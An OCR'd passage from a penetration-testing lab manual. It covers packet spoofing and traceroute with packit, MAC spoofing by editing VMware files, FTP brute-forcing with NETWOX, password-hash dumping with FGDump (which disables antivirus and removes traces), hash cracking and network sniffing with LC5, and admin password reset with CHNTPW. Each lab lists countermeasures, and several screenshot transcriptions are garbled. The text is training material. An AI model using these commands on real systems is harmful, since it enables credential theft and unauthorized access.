Fra Eth Int Tra	me 2 (60 byt ernet II, 5 rost instantion number of the state number of the state of	tes on wire, 60 c: a:bb:cc:dd ol, 5rc: 1.2:3 sntrol Protocol 00 00 aa bb 00 00 80 05 00 53 2c 00 00 00 00	bytes captured) iserff (aa:bd)cc:dd:4 (4 (1.2,3,4), 0st: 17 , snc Port: 100 (100) cc dd ee ff 08 00 45 66 05 02 03 04 ac 56 76 00 00 00 00 50 00 00 00 00 00	00 00 00 00 00 00 00 00	: 00:00:00_((172.16.1.40 : 80 (80), 5	00:00:00 (00:)) Seq: 0, Ack:)	00:00:00:0
Fra Eth Int Tra 20 20 20	me 2 (60 byt ernet II, 5 ernet Proto nsmission Co 00 00 00 00 00 00 28 e4 31 01 28 00 64 ff ff 0c 45 pocume-1/ACMU	tes on vire, 60 c: astbb.cc:do of, 5rc: 1.2.3 antrol Protocol 00 00 as bb 00 00 60 06 00 50 53 2c 00 00 00 00 wi-luccAS-sijrenpi	bytes captured) ibytes captured) icertf (asibiccidd: 4 (1.2.3.4), 0st: 11 . src Port: 100 (100) c dd ee ff 08 00 45 60 01 02 03 04 ac 00 00 00 00 therocommonder(15) [P:20700 therocommonder(15) [P:20700	00 (.1 02 (.d.P 207 M: 0 Drops: 0	: 00:00:00_((172.16.1.40 : 80 (80), 5	00:00:00 (00::)))) Seqt 0, Ack:)	00:00:00:00
Fra Eth Int Tra 00 10 20 30	me 2 (60 byt ernet II, 51 ernet Proto nomission co 00 28 e4 31 01 28 00 61 01 28 00 61 ff ff 0c 45 pocume-1/ACMU	tes on vfre, 60 c; aabbi.scide col, \$rc: 1.2.3 ontrol Protocol 00 00 as bb 00 00 as bb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 W=1UCAUS=1](empl 20 00 00 00 00 00 00 00 00	bytes captured) iserif (asibuccidid: 4 (1.2.3.4) bst: 17 5 sc port: 100 (100) cc dd es ff 08 00 45 5 60 00 00 00 cc dd es ff 08 00 45 6 00 00 00 ethewscounder[15] [P:2076: (united) - thereal	00 (.1.1. 02 (.1.2. 02 (.1.2. 04 (.1.2.	: 00:00:00_C (172.16.1.46 : 80 (80), 5	00:00:00 (00::)))) Seq: 0, Ack:)	00:00:00:00 0, Len: 0

To trace a route to a target type:

./packit -m trace -t TCP -d www.target.com -S 80 -F S



The target destination will be traced with each "hops" results displayed.

***Note:** Remember that attackers will commonly trace a target to attempt to identify the IP address before the target. This is probably a router.

🔊 Red Hat Linux - '	YMware Workstation		_101×
File Edit View	VM Team Windows Help		
H 11 P 10			
in Hume in We	dows 2000 Professional 🛛 🔐 Red Hat Linux 👘 Red Hat Linux ii Server 📑 👔 Windows 2000	Server 🚮 VW	ndowa: 4 ≯ X
Y root⊕ localho	st:-/lools/packit/packit-1.0	×	
Eile Edit Y	ew <u>T</u> erminal <u>G</u> o <u>H</u> elp		
[root@localho S	st packit-1.0]# ./packit -m trace -t TCP -d www.texnet.net -S	80 -F	
Mode: Trace	Route [Hop Max: 30] using device: eth0		
- HOP 1		-	
IP header:	Src Address: 172.16.0.1 Dst Address: 172.16.1.45		
	TTL: 255 ID: 51493 TOS: 0x0 Len: 68 (DF)		
- HOP 2		-	
IF header:	Src Address: 70.255.107.254 Dst Address: 172.16.1.45 TTL: 63 ID: 318 TOS: 0x0 Len: 56		
-1 HOP 3		-	
IP header:	Src Address: 151.164.11.190 Dst Address: 172.16.1.45 TTL: 253 ID: 6514 TOS: 0xC0 Len: 56	R.	
- HOP 4		-	
IP header:	Src Address: 151.164.11.230 Dst Address: 172.16.1.45 TTL: 252 ID: 18665 TOS: 0xC0 Len: 56		
		2	
60			Tue Nov 15 9:04 PM
			200

*Note: Packit is a pretty good application for injecting "spoofed" IP/MAC addresses. Attackers can use this tool for several reasons (i.e., verifying if egress/ingress filtering is "on" on the routers, Man-in-the-Middle (MTM) attacks, Denial of Service (DoS) attacks).

Lab 52: Spoof MAC Address

Altering the MAC Address: VMware Workstation Windows

Prerequisites: None

Countermeasures: Firewall filters, vendor patches where applicable

Description: VMware Workstation is perfect for "spoofing" a MAC address as the computer itself is completely virtual. Even though VMware Workstation uses a configuration file to identify which MAC address will be used, this file can be edited to the user's choice.

Procedure: Edit the appropriate file and turn on the virtual computer. Verify the current MAC address with the **ipconfig /all** command. In this example, the MAC address is **00:0c:29:a3:e4:40**.

👰 Windows 2000 Server - YMware Workstation
File Edit View VM Team Windows Help
A Home 🛐 Windows 2000 Professional 🛐 Red Hat Linux 🗿 Red Hat Linux 8 Server 🗃 Windows 2000 Server 🕋 Windows 4 🕨
My Documents Internet specter Construction d Network 225
Command Prompt
Prinary DNS Suffix Hybrid Node Type Node Type No UNS Proxy Enabled No UNS Proxy Enabled You DNS Suffix Search List yotenay.2vire.net
Ethernet adapter Local Area Connection 2:
My Network Places Description
#2 Physical Address
Lease Obtained : Tuesday, November 15, 2005 4:44:48 P Internet M Lease Expires
C: Documents and Settings vacministrator>
netwox-5.2
netweb-ox
🐊 Start 🛛 🙆 😂 🖾 🗁 🖉 🗍 🖉 (Untitled) - Ethereal 🛛 🖾 Command Prompt 🛛 🕀 🗐

To manually assign a new static MAC address for a virtual machine, locate and open with Notepad the virtual machines configuration file. The file ends with a **.vmx** extension. In this example, the filename is **Windows 2000 Server.vmx**. For Linux machines the configuration file may end with the **.cfg** extension.



Once the file is open locate the **Ethernet0.addressType = "generated"** line.



Highlight and delete the following lines of the configuration file:

📕 Windows 2000 ServerXXX.vmx - Notepad	_ 🗆 ×
<u>File Edit Format View H</u> elp	
Ethernet0.addressType = "generated" uuid.location = "56 4d 39 1f 85 83 c3 a5-df d2 7f 5b fd a3 e4 40" uuid.bios = "56 4d 39 1f 85 83 c3 a5-df d2 7f 5b fd a3 e4 40" ethernet0.generatedA ddress = "00.0c :29 a3:e4:40" ethernet0.generatedA ddressOffset = "0" tools.syncTime = "FALSE"	× _

*Note: The new MAC address (XX:XX:AA:BB:CC) has some limitations:

- The AA must be a valid hexadecimal number between 00h and 3Fh.
- The BB and CC must be a valid hexadecimal number between 00h and FFh.

Assign a new MAC address based on the parameters stated above. In this case, the new MAC address is **00:50:56:3F:FF:FF**.

🗾 Windows 2000 Server.vmx - Notepad	_ 🗆 ×
<u>File E</u> dit F <u>o</u> rmat <u>V</u> iew <u>H</u> elp	
ethernet0.address = 00:50:56:3F:FF:FF tools.syncTime = "FALSE"	
scsi0.0.redo = "" nvram = "Windows 2000 Server.nvram" scsi0.0 deviceTurne = "disk"	
usb.present = "TRUE"	•

By returning to the virtual computer and running the **ipconfig /all** command again, the new MAC address can be verified. All packets leaving this machine will have the new MAC address.



Chapter 7

Brute Force

Lab 53: Brute-Force FTP Server

Crack an FTP Password: NETWOX/NETWAG

Prerequisites: File Transfer Protocol (FTP) server

- **Countermeasures:** Bastion servers/workstations, host-based firewalls, strong passwords, FTP over Secure Socket Layer (SSL)
- **Description:** The NETWOX (NETWork toolbOX) application can be a very dangerous tool in the wrong hands. At the time of this writing, the latest version has 197 different techniques to enumerate information from the Local Area Network (LAN) or launch attacks against a remote target. This tool is listed in several sections of this manual. In this lab the tool is used to demonstrate its ability to brute-force an FTP server given a username and password list. Remember that all commands in Linux are *case sensitive*.
- **Procedure:** Compile all components, run the NETWOX application, and review the results.

From the directory containing the compressed files, type **tar** –**zxvf netw**-**ib-ox-ag-5.18.0.tgz**.

The files will uncompress into several new directories.

Compile the **NETWLIB** component from the **SRC/NETWIB-LIB/SRC** directory starting with the syntax. /genemake.



To compile the executable, type the **make** command.



Install the application by typing **make install**.



The application will now install.



The next step is to compile the NETWOX component from the SRC/NETWOX-LIB/SRC directory with the same steps of **./genemake**, **make**, and **make install**.

The final compiling step is to compile the NETWAG component from the SRC/NETWAG-SRC/SRC directory with the same steps of **./genemake**, **make**, and **make install**.

The NETWOX application is a command-line application. The NETWAG application is the Graphical User Interface (GUI) for the NETWOX application. In this example the NETWAG example will be used. **From the NETWAG directory** in Linux start the application with the syntax of:

🗊 Red Hat Linux 8 Server - VMware Wo DOX 🖬 🔰 🕑 🔂 Snapshot 🖓 - E E E THE PARTY OF Red Hat Linux # Server Session Edit View Settings Help 00 . root@localhost src]# ./netwag Flop X netwag 13:22 200

./netwag

The following screen will appear listing each tool that NETWOX is capable of performing.

*Note: In this lab toll number 130 will be used. Highlight toll 130 and click Help.



Highlight item 130 (Brute Force FTP Client).



By clicking on the **Help** tab, you display the syntax of the tool.

The top section of the screen illustrates the correct syntax and examples of each tool selected. In this example, clicking on the **Example** button allows you to view the text placed into the center white block of the screen. This is the execution section. This is the syntax that will be executed and should be modified to run against the target.

The lowest section contains the status of the tool's execution.

🗐 Red Hat Linux 8 Server - VMware Workstation	
File Edit View VM Power Snapshot Windows Help	
III D 🗐 🗟 🖓 Snapshot 🖓 Revert 🗊 🐼 🛱	
	4
Villiouws 2000 Server SUSE Linux 6.2 Villiouws 2000 Advanced Server Red nat Linux 6 Server Red nat Linux 6.0	
File Edit Session Ontions	Help
Tool Loost info Baneta info Clinkand	
Search Help Form Running History	
Tol number 130 Tile: Duck force ftp Dint Usage: networ 130 (-1) ip [-1 data[-u] file [-device] (-E eth) [-e eth] [-i p] (-P port] [-p port] [-o ip4opts] [-i neme tops I consecting I consecting) ipéex
t Example Usage Run it t	Update 💲
	Run Run I NM ++
Netway version 5,18,0 Linked with metox version 5,18,0 This version contains 167 tools	À
	13:26
	300

In this example there is an FTP server located at **192.168.11.120**. Anonymous FTP connections are not allowed and access is controlled by usernames and passwords.

Username.txt and Password.txt files have been created that contain a variety of combinations to be used in this lab.

The correct username/password should be **mmouse** and **mmouse1**.



- Click on the **Form** button at the top of the application.
- Type the IP of the target in the **dst-ip** field.
- Increase the **timeout** field to 60000 (6 seconds).
- Select the **stopatfirst** option.
- Browse and select the Username file for the **login-file** field.
- Browse and select the Password file for the **password-file** field.
- Click the Generate button and view the syntax to be executed in the execution section (the white area below the Form section).

M Ded Hat Linux & Server - Whyare Werkstation	
En Sta Haw III Server Constant IIIstern IIIs	
File Edit view vm Power Snapshot windows help	
📔 💷 🕨 🧐 🖬 Snapshot 📷 Revert 🛐 😥	
Windows 2000 Server SUSE Linux 8.2 Windows 2000 Advanced Server Red Hat Linux 8 Server Red Hat Linux 8.0	∢ ⊳ x
▼ netwag	- 8 X
Eile Edit Session Options	Help
Tool Local info Remote info Clipboard	
Search Help Form Running History	
Parameters for tool 130 (Brute force ftp client):	
192,168,11,120 h dst-ip; destination IP address	
h logint login	
/root/tools/netwox.f h password-file: password file	
Advanced parameters:	
Loo device: device name	
1 0/213744/876 b sm-etht source athemat address	
1 0/2/3/2/3/a/b/c b det-att destination attempt address	
192.168.11.118 h sro-int source IP address	
a c + th arc-port: source port number	
21 + h dst-port; destination port number	
h ip4opts; IPv4 options	
h ipéexts: IPv6 extensions	
/root/tools/netuox.flnlogin-file: login file	
60000 - + h timeout: timeout in milliseconds	
stopatfirst; stop at first valid login found	
5 - + h numthread: number of threads to launch	
I F verbose be verbose	
Generate Run it 🗘 • Reset •	sate 🛟
130dst-ip 192.168.11.120password-file "/root/tools/netwox/src/netwox-src/src/passwords"login-file "/root/tools	Run
/hetuox/shc/netuox-shc/shc/usernames"timeout 60000stopatrinst	Z INH
17	••
Linked with network version 5,18,0	$ \ge $
This version contains 167 tools	17
The second secon	14:04

Click the **Run it again** button. View the results.

Each password from the password file will be executed against the target. Each incorrect password will return a result of **bad**. The correct result will return a result of **good**.

In this example, the username of **mmouse** with the password of **mmouse1** returns a result of **good**.

Red Hat Linux 8 Server - VMware Workstation	
File Edit View VM Power Snapshot Windows Help	
🖬 🛯 🕟 🏟 🖬 Snapshot 🙀 Revert 🋐 💽	
Windows 2000 Server SUSE Linux 8.2 Windows 2000 Advanced Server Red Hat Linux 8 Server Red Hat Linux 8.0	< ▷ X
▼ netwag	- 8 ×
Eile Edit Session Options	Help
Tool Local info Remote info Clipboard	
Search Help Form Running History	
Louplet treads "mickey" - "minnerouse" -> bad Trying treads "mickey" - minnerouse "> bad Trying treads "mickey" - minnerouse "> bad Couplet treads "mickey" - minnerouse "> bad Trying treads "mickey" - minnerouse "> bad Trying treads "mickey" - minnerouse "> bad Trying treads "mickey" - minnerouse = def Couplet treads "mickey" - bad Trying treads "mickey" - hinnierouse - bad Trying treads "mickey" - minnerouse - bad Couple treads "mickey" - minnerouse - bad Trying treads "mickey" - minnerouse - bad Couple treads "mickey" - mickey" - minnerouse - bad Couple treads "mickey" - mickey" -	
vogo ucomano uni i egani // noot/tools/netuox/src/netuox-src/src/passuords"login-file "/root/tools/ /netuox/src/netuox-src/src/passuord="ile"/root/tools/netuox/src/netuox-src/src/passuords"login-file "/root/tools Running "130dst-in 122,168,11.20passuord=file "/root/tools/netuox/src/netuox-src/src/passuords"login-file "/ro Informations"	Run NM ot/too
	14:07
	실미팀

*Note: I cannot stress enough the importance of this tool for either an attacker or a vulnerability/penetration test. The sheer amount of tools available is incredible.

Lab 54: Retrieve Password Hashes

Extract Password Hashes: FGDump

Prerequisites: Administrative access

Countermeasures: Strong Administrator passwords, strong password policy **Description:** The FGDump application was written to obtain the password hashes from the Security Accounts Manager (SAM) file on the target computer. The process includes:

- Binding to a machine using the Inter-Process Communication (IPC\$) or list of targets
- Stopping the running of antivirus programs
- Locating writable file shares
- Uploading fgexec (for remote command execution) and cachedump
- Executing pwdump
- Executing cachedump
- Deleting uploaded files from the file share
- Unbinding from the file share
- Restarting any antivirus programs
- Unbinding from IPC\$
- *Note: Even though an Administrator account is required, I prefer this tool over the Pwdump application as all the work is done for me and the antivirus program is shut down and restarted. Sometimes antivirus software will stop Pwdump from being successful.

Procedure: Select the target and execute with the following syntax:

fgdump <options> (-h host | -f filename) -u Username -p Password

In this example, the target of 172.16.1.46 will have the password hashes exploited by typing:

fgdump -vv -h 172.16.1.46 -u administrator -p 123

- The **--vv** instructs FGDump to run in very verbose mode.
- The -h 172.16.1.46 identifies the target.
- The –u administrator identifies the username to use.
- The **-p 123** is the password for the Administrator account.



According to the results of this example, the target:

- Has the entire C Drive shared as C\$ (a hidden share).
- Has a mapped drive E: bound by ADMIN\$ and is a writable share.
- Has no antivirus running.

The passwords were successfully dumped from the target and all traces of the attack were removed from the target.



From the directory on the attacker's machine, two new files were created:

- 172.16.1.46.cachedump
- 172.16.1.46.pwdump

Of the two, the 172.16.1.46.pwdump is the file of interest.


By opening the **172.16.1.46.pwdump** file with a text editor such as Notepad the password hashes from the target are visible.

💽 Windows 2000 Professional - VMware Workstation	-D×
File Edit View VM Team Windows Help	
🔐 Windows 2000 Professional 📲 Red Hat Linux 🗿 Red Hat Linux 8 Server 📳 Windows 2000 Server 🗿 Windows 2000 Advan	$\rightarrow \times$
a 172.16.1.46.pwdump - Notepad	_8×
File Edit Format Help	1000
AGministrator: 500:CCF9155552708455AA05845381404E2:506069707169007692046E812285678::: ASPNET:1005:9852598252089821CF310DF11C466842:887C90EEBE68EC062D11856FC761725D:::	<u>^</u>
GUEST: JULINO PASSWORD IUSR_W2KAS:1003:C2F0161F615698EEC8F54C263B8E340C:0BA357F497DB23E15374B596AA18F745:::	
IWAM_W2KAS:1004:D3E225B88FD28CEAF7131D160E33E33A:84EAC514E35CE699C4B0/F6124425CD5::: NetShowServices:1001:321A66CFD06A60A20404727705251260:20067255206664522CD755500209586666-	لارتبادهميه
C6826:::	C721D58EE3
	1100
- @《:』 5:12 PM 【【 第5tart 】 ① @ 篇 】 @Index 图 C:\WI 合C:\Do 图 C:\WI 合)fgdum 合C:\Do][2]172.1

The **172.16.1.46.pwdump** file will be used in the next lab (Lab 55 — LC5) to produce the passwords for each account hash.

*Note: Many of you may ask, "Why should I concern myself by going to the trouble of obtaining the password hashes just to break the hashes with another program when I already have an Administrator account on the target?" Good question. Several reasons are as follows: any account password can be changed at any time; the more passwords an attacker has, the better for him or her; some accounts on this target may have Administrative access on another target; and the list goes on. Just because an attacker has one Administrative account is not necessarily a reason for the attacker to stop looking for others.

Lab 55: Crack Password Hashes

Crack and Capture Password Hashes: LC5

Prerequisites: None

- **Countermeasures:** Strong Administrator passwords, strong password policy
- **Description:** L0phtcrack version 5 (LC5) is a password-auditing tool that allows for the capturing of Windows passwords and or the conversion of captured Windows password hashes into the correct password. This is done by sending the captured hash through an algorithm until the new hash exactly matches the original one. This identifies the password that computes into the hash.
- **Procedure:** Install the L0phtcrack application, start, select the parameters, and execute.
- Open LC5. The application will start the LC5 Wizard. Click Next.



The next area of the wizard requests a location of the encrypted passwords. Accept the default of **Retrieve from the local machine**. Click **Next**.



Next select an Auditing Method. Select Strong Password Audit. Click Next.





Accept the default Reporting Style. Click Next.

LC5 is ready to begin auditing. Click Finish.



LC5 will start running the hashes through the known algorithm until a match is made. The password to create each hash will be displayed.

Windows 2000 Testake 1.05 - Ne View Sessio	Professional () (Untitled1) n Schedule Remedia	Red Hat Linux 📗 🗂 Red H te Help	al Linux & S	erver 🎼 👔 Wine	iows 2000 Server 🛛 👘 Windows	: 2000 Advim
e o c	10000			0		
Run (Report)						DICTIONARY/HYBR
Domain	User Name	LM Password	<8≥	Password	Password Age (days) Loc	yords_tota 2915
2WIN-2000-9-1	Guest	* empty *		* empty *	0	words_dor
WIN-2000-V-1	Administrator	123	×	123	19	3 dor
						0.000
						Par companyo
						U of
						hashes four
						3 dot
						0.0
						BRUTE FORCE
						Od Oh Om
						time let
						Calculating
						_current_te:
						keyrat
						SUMMARY
						total_user
						audited_user
						3 dor
1	J				1	100.000
		THE CONTRACTOR				Wen Unics

In order to Import a captured Pwdump file, select the **Import** button from the toolbar.



The Import Wizard will appear. Select Import from file.



Select From PWDUMP file. Click Browse.

Windows 2000	Profess United	ional (2) Red Hot Liver (2) 1] Je Reserved Hotp	Red Hat Linux & Server	jj. Windows 2000 Server	Windows 20	00 Advan 4 +
DOC	し					
Run (Report)	Licer	nport			~	words tota
WIN-2000-V-1	Guer	Import from C. Local machine Remote machine Import from He C. From SAM file C. From SAM file C. From VacCuter File T. From Unic shadow file	Tilename :		Drowse	2013 words.dor % dor % dor % dor hash table 0 of hash stall hash stall 0 of hash stall 0 of hash stall 0 of 1 of 0 of 0 of 1 of 0 of
d				OK .	Cancel	audited user

Browse to and select the Pwdump file created by the **FGDump** application (Lab 54) and click **Open**.

Windows 2000 Profe	ssional - VMware Work	at at ion			
File Edit View VM	Team Windows Help				
Windows 2000 Prof	essional 📇 Red Hat Lin	urz 👔 Bird Hat Linux 8 Se	rver 🔐 Window	vs 2000 Server 👔 V	Mindows 2000 Advin 🛛 4 🕨 🕽
G #stoke LLS - [Untit	Hedt]				_[8] >
File View Service Sci	Andule Remediate Help	als			
0000	00501	5 D II II 🛛	0		
Run (Report)	Import				x DictionAlter/Hyelsto
2 wIN-2000-V-1 G.	f moort PWDUMP File	_	_		29157
WIN-2000-V-1 Ac	Lastria 150 Pa			- Contraction	i done
		eare	1	- 61 04 68.	0.0004
	172	16.1.46.cachedump 16.1.46.owdump			hash tables
	History Fod.	mp			Dof 0 bashes found
		Type: Ap	plication		0 to 0
	Desktop	Size: 576	KB		0.00
	100				BRUTE FORCE
	Mu Done months				Od Oh Om Og
					Calculating -
	1 m				3_0000
	My Computer				_cuccent_test
	File nam	e:			Open Keyrase
	My Network P Files of	All Files (1.1)			ancel SUMMARY
					lusers
				OK Car	cel audited_users
					100.000%
•					His Unix
1101002000 10:00.24	Autoring session comp	neteu.			
anauy ang ang 11.521.465 ⊮	3	Account Distant also LCE	Distitled		Trick and even the
Maranel 1 (2) 409 C	W. [] - Invex or (cemb -)	without in a speciate tres	- fouries:g-		CO COM REALING

Click OK.

File Edit View VM Team Windows Help
🔐 Windows 2000 Professional 🔐 Red Hat Linux 🔐 Red Hat Linux 8 Server 🔐 Windows 2000 Server 🔐 Windows 2000 Advan 🕢 🕨
🕑 @stake LC5 - [Untitled1]
File View Session Schedule Remediate Help
DDDDDDBBBB ► ■ ■ DDD
Run Report Import
Domain User
WIN-2000-V-1 Gue: Import from Filename : C:Downloadsford:mpiRelease117 Browse
2 wile 2000 vi Aulii C Local machine
C Remote machine PRECOMPUTED
hash_tables
C From SAM File
C From IC4 file
© From PWDUMP file
C From Unix shadow file
Od Oh Om Os time left
Calculating -
SUMMARY
(<u>total_users</u>
OK Cancel audited_users
/ done
Hin for Zood To Jo. 24 Additing session completed.
🕅 🕼 🖓 🗍 🖉 🖓 🗍 🖉 Index of /temp - Microsof 🛛 🖓 @stake LCS - [Untitled 🛛 🖓 🖓 🖓 6:42 PM

Accept the warning about starting the audit session over. Click Yes.

👰 Windows 2000 Professional - VMware Workstation	<u>_</u> _×
File Edit View VM Team Windows Help	
Windows 2000 Professional in Red Hat Linux In Red Hat Linux 8 Server in Windows 2000 S	rs 2000 Advan 🔹 🕨 🗙
000001°0000000000000000000000000000000	
Figure Import Domain Liser WIN-2000-V-1 Adm Import from C.(Downloads)/gd.mp)/Release\17 Browse Filename : C.(Downloads)/gd.mp)/Release\17 Browse Import from file Filename : C.Fr You need to reset your auditing state to perform this action. File File File Yes No	G DECTOMANY////WHD WARDS_10131 WARDS_10131 WARDS_10131 WARDS_0000 PACCOMPUTED PASTA Lables A dong D of 0 D
4	Win Unix
Ready	🖬 🔽 🗖 User Info
🟦 Start 🛛 🖉 🍏 🖉 Index of /temp - Microsof 🕲 @stake LC5 - [Untitled	@ € ⊡ 6:42 PM

The **Pwdump** file will be imported into the LC5 application. The usernames from the target will be displayed.

estake LCS -	Untitled11	Help	e unas e	server 📳 viko	awa 200 seven 🔤 👘	30m 10	
DOC	·西利学!			30			
Run (Report)		100	- 27		A4V 3		DICTIONARY/HTT
omain	User Name	LM Password	<8	Password	Password Age (days)	Locks	words_tot
W3%-2000-V-1	Guest	* empty *	x	* empty *			words do
WIN-2000-V-1	Administrator	123	×	129	19		× 44
2	Administrator		х		0		0.00
	ASPNET	- XI			0		PRECOMPUTE
12	Guest	* empty *	x	* missing *	0		hash tab
	IUSR_W2KAS				0		0 0
1	IWAM_W2KAS				0	- 1	_bashes_for
(NetShowServices				0	- 1	
4	TsInternetUser				0	- 1	0.1
4	user1		x		0		BRUTE FORCE
(user2		×		0		_time_clap:
	users.		*		0		time 1
							Calculatin
							_current_t
							kevr
							Concession.
							SUMMART
							total us
							3001760-031
							% de
			1				100.00
			_			<u> </u>	

Click the **Start** button on the toolbar.

LC5 will grind against the usernames until each password has been identified and displayed.

*Note: I began using L0phtcrack when it was still in version 3 (LC3). The speed of this application has increased drastically and is a proven, rock-solid application to break Windows password hashes. If you can afford the full version, I highly recommend it.

and the second s	n Schedule Remediate	Help A Dill In dill	- 10	3.0		<u>_10</u>
Pun V Panad)	DUGG	3 4 1	m 19	00		DICTIONARY/HTER
20main	User Name	LM Password	<0	Password	Password Age (days)	words_tota
1	Administrator	123	x	123	0	words don
0	ASPNET				0	
2	Guest	* empty *	×	* missing *	0	0,000
2	IUSR_W2KAS				0	and a second second second
2	IWAM_W2KAS				0	Charp table
2	NetShowServices				0	10 O
2	TsInternetUser				0	_bashes_four
4	user1	ADC	×	abc	0	
4	user2	DUP	×	def	0	0.00
4	user3	GHE	×	ghi	0	BRUTE FORCE
NUTL 2000 11 1	taurest Administration	100		100	10	_time_clopse
3 404-2000-1-1	Administrator	165	*	165	19	time lef
						Od Sh20m4
						0.0963
						_current_tes
						Keyrat
						4081990 %/
						SUMMARY
						total_user
						audited user
						assasso_vast
						X_dom
						00.000

As you may have noticed during the initial wizard, there are other options to collect Windows password hashes.

By opening the LC5 application again the wizard will again appear. Click Next.



This time select Retrieve by sniffing the local network. Click Next.



The option of Strong Password Audit should still be selected. Click Next.



The Reporting Style should still be set to the default. Click Next.



The LC5 Wizard is almost ready to begin auditing the password hashes by "sniffing" the local network. Click **Finish**.



The **Select Network Interface** window will appear. Select the appropriate NIC and click **OK**.

🗐 Windows 2000) Professional - ¥Mwa	re Workstation			_ 🗆 ×
File Edit View	VM Team Windo	vs Help			
	9 10 A 10				
🔒 Windows 200	0 Professional 🛛 🛅 R	ed Hat Linux 🛛 🌇 Red	Hat Linux 8 Server 🛛 🗗 Wi	ndows 2000 Server 🛛 👘 Windo	ws 2000 Advan 🛛 🕇 🕨 🗙
🧐 @stake LC5 -	[Untitled1]				_ # ×
File View Sessio	n Schedule Remediat	e Help			
) D O U U				
/Run (Report)	\				DICTIONARY/HYBRID
Domain	User Name Select Net	work Interface	I ∉8 I Paccuord	Pacsword Ane (daws)	ockworgs_total
	Sniffing fo	r encrypted passwords rec	uires administrative access to I	the network device. LC5 can	done
	sniff on Et	hemet devices for the end	rypted passwords used in netv	rork logins and file or print	0.000%
-	LC5 may e	experience difficulty sniffing	g if your network device does n m, such as tokenving or EDDI	ot have compatible drivers, or if	PRECOMPUTED
-	LC5 uses	the WinPcap Packet Driv	er to perform it's sniffing. For n	etwork device compatibility	
	informatic	n, please visit http://www	atstake.com/lc5/winpcap		0 of 0
	*** IMPOI exclusive	RTANT NOTE! Windows : ly Windows 2000/XP netv	2000/XP uses NTLMv2 by def vork, you will very likely not retr	ault. If you are sniffing an ieve any data by using this	0.005
-	method.				BRUTE FORCE
	Choose t	he network device to shift	on:		Od Oh Om Os
	IN Gen	≪adapters eric NdisWan adapter			Cille_ierc
	EB VMv	are Accelerated AMD PCI	Net Adapter		current test
				<u> </u>	keurate
1	Current n	etwork adapter:	-		BERLANE
-	\Device\	NPF_{18EDB174-87F8-48	306-97BA-AB687C	OK Cancel	SUMMARY
					United users
					audited users 0
lat					0.000%
		mnanzeo ano ready			Win Unix
Ready					
∰Start 🕜	🍘 🖏 🗍 🛃 Index of	/temp 🔄 C:\Dow	nloads\LC	Syste 😡 @stake LC5 - [U	🔁 🌾 🕮 6:56 PM

LC5 is now ready to begin capturing any passwords of users logging in to servers on the network. Click the **Start Sniffing** button.

*Note: Keep in mind that the traffic you see is completely dependent upon the environment the computer "sniffing" resides in. For example, if the network link you are using is connected to a network hub, you will be able to see all traffic going through that hub to all other computers on that hub. If, however, the network link you are using is connected to a switch, you will only be able to see traffic specifically destined to/from your connection. There is a way to "sniff" traffic on a switch to show all traffic to a specific or every computer on a switch, which will be covered in Chapter 9.

🗐 Windows 200	0 Professional - ¥Mware ¥	orkstation			_I_I ×
File Edit View	v VM Team Windows	Help			
	6 13 G 13 E				
🔒 Windows 200	0 Professional 🔐 Red H	at Linux 👌 🚮 Red Hat Linux 8 Server	Windows 2000 S	erver 🏾 🕋 Windows 20	100 Advan 🛛 🕇 🔭 🗙
🧐 @stake LC5 -	[Untitled1]				×
File View Sessi	on Schedule Remediate H	lelp	-		
	<u>) 6 6 5 6</u>		9		
/ Run \ Report	ν				DICTIONARY/HYBRID
Domain	User Name	LM Password <8 Passw	vord Passv	vord Age (days) Lock	words_total
	SMB Packet Ca	pture Output		×	words_done
	Sniffed network	traffic:			<u>% done</u> 0.000%
	5ource IP	Uestination IP Uomain\Usernam	ie [Unalienge	Start Sniffing	PRECOMPUTED
-				Stop Sniffing	hash_tables
				Clear Capture	_hashes_found
-					<u>4 done</u>
					0.003
					time_elapsed
-					Od Oh Om Os time_left
	<u> </u>		<u> </u>		%_done
	Press 'Start Sn Sniffing' and th	Iting' to begin capturing data from the netw e press the "Import" button to keep the data	vork. When you are done, a, or the 'Cancel' button to	, click "Stop i discard it.	_current_test
	It will take a va network utilizat local machine.	ying amount of time for network traffic to a ion. Networks that are 'switched' may limit (appear in the box above b capture to communication	ased on your is involving this	kevrate
	Selected devic	e: \Device\NPF_{18EDB174-87F8-4806	-97B Import	Cancel	SUMMARY
-	-				<u>total_users</u> 0
					audited_users 0
					<u>% done</u> 0.000%
<u>н</u>				<u>•</u>	Win Unix
Darada		mitted and ready			🔲 🔲 User Info
MC tout 72	6 1 Taday of the	nn [Scillouninadei)c [mic		Babalan ICE Du	สินส์ชาติ เกราะค
Brizcant	index or /cel کو تھ	ip	.tiwnaartoyste	wstake LL5 - [U]@	

Once the passwords have been captured, click the **Stop Sniffing** button and view the results.

I Windows 2000 Professional - VMware Workstation	_ <u> </u>
File Edit View VM Team Windows Help	
📸 Windows 2000 Professional 👘 Red Hat Linux 👘 Red Hat Linux 8 Server	🚯 Windows 2000 Server 👔 Windows 2000 Advan 🔍 🕨 🗙
🕑 @stake LC5 - [Untitled1]	_6×
Hie View Session Schedule Remediate Help	2
	9
/ Run \/ Report \	DICTIONARY/HYBRID
Domain User Name LM Password <8 Pas	word Password Age (days) LockOCGSCOL_01
SMB Packet Capture Output	X
Sniffed network traffic:	me Challenne Chall Califica 0.000%
123.123.123.23.23.23.23.23 KAS\Administr	ator 7524248b PRECOMPUTED
	Stop Sniffing
	Clear Capture hashes_found
	<u>% done</u>
	BRUTE FORCE
	_time_elapsed
	Ud Uh Um Us
	<u>X done</u>
Sniffing' and the press the 'Import' button to keep the da	ta, or the 'Cancel' button to discard it
It will take a varying amount of time for network traffic to network utilization. Networks that are 'switched' may lim local machine.	appear in the box above based on your capture to communications involving thiskevrate
Selected device: \Device\NPF_{18EDB174-87F8-480	6-978 Import Cancel SUMMARY
	audited users
	<u>% done</u>
▲	- 0.000k
	Win Unix u User Info
Ready	
Start 0 @ 🕼 1 C:\Downloads\LC 🔤 C:\WINNT\Syste	@stake LC5 - [U 6:58 PM

Lab 56: Overwrite Administrator Password

Change the Administrator Password: CHNTPW

Prerequisites: Local access

Countermeasures: Strong physical security, strong access controls

- **Description:** The Change NT Password (CHNTPW) application will change the Administrator password regardless of what it is currently set to. CHNTPW also demonstrates the need for strong access controls and physical access to servers or any computer.
- **Procedure:** Gain physical access to the computer, boot from the CHNTPW CD, follow the on-screen instructions, change the password(s), and reboot.

With the CHNTPW CD in the CD-ROM drive, reboot a virtual Windows 2000 machine. As the machine boots, press the **Esc** key to enter the Boot Menu.



The Boot Menu will appear.



